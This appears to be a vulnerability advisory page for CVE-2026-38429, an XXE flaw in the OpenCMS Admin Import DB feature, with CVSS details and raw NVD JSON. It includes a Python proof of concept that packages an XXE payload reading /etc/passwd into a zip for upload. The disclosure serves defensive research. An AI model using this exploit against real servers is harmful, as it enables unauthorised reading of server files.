Security Vulnerability Report
中文
CVE-2026-38429 CVSS 9.8 CRITICAL

CVE-2026-38429

Published: 2026-05-05 17:17:05
Last Modified: 2026-05-06 19:16:37

Description

OpenCMS v20 and before is vulnerable to XML External Entity (XXE) in the Admin Import DB feature due to insecure XML parsing of user supplied .zip files containing a manifest.xml.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

OpenCMS <= v20

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import zipfile import io # Malicious XML content with XXE payload # This payload attempts to read /etc/passwd from the server xml_content = """<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <foo>&xxe;</foo> """ # Create a zip file in memory containing the malicious manifest zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file: # The specific filename expected by OpenCMS is manifest.xml zip_file.writestr('manifest.xml', xml_content) # Write the exploit zip to disk with open('cve_2026_38429_poc.zip', 'wb') as f: f.write(zip_buffer.getvalue()) print('Exploit ZIP generated successfully.') print('Upload this file to the Admin Import DB endpoint.')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-38429", "sourceIdentifier": "[email protected]", "published": "2026-05-05T17:17:04.547", "lastModified": "2026-05-06T19:16:36.710", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenCMS v20 and before is vulnerable to XML External Entity (XXE) in the Admin Import DB feature due to insecure XML parsing of user supplied .zip files containing a manifest.xml."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-611"}]}], "references": [{"url": "https://github.com/alkacon/opencms-core/commit/e3e41e5a96d71383279e7d23c627efc9934008c1", "source": "[email protected]"}]}}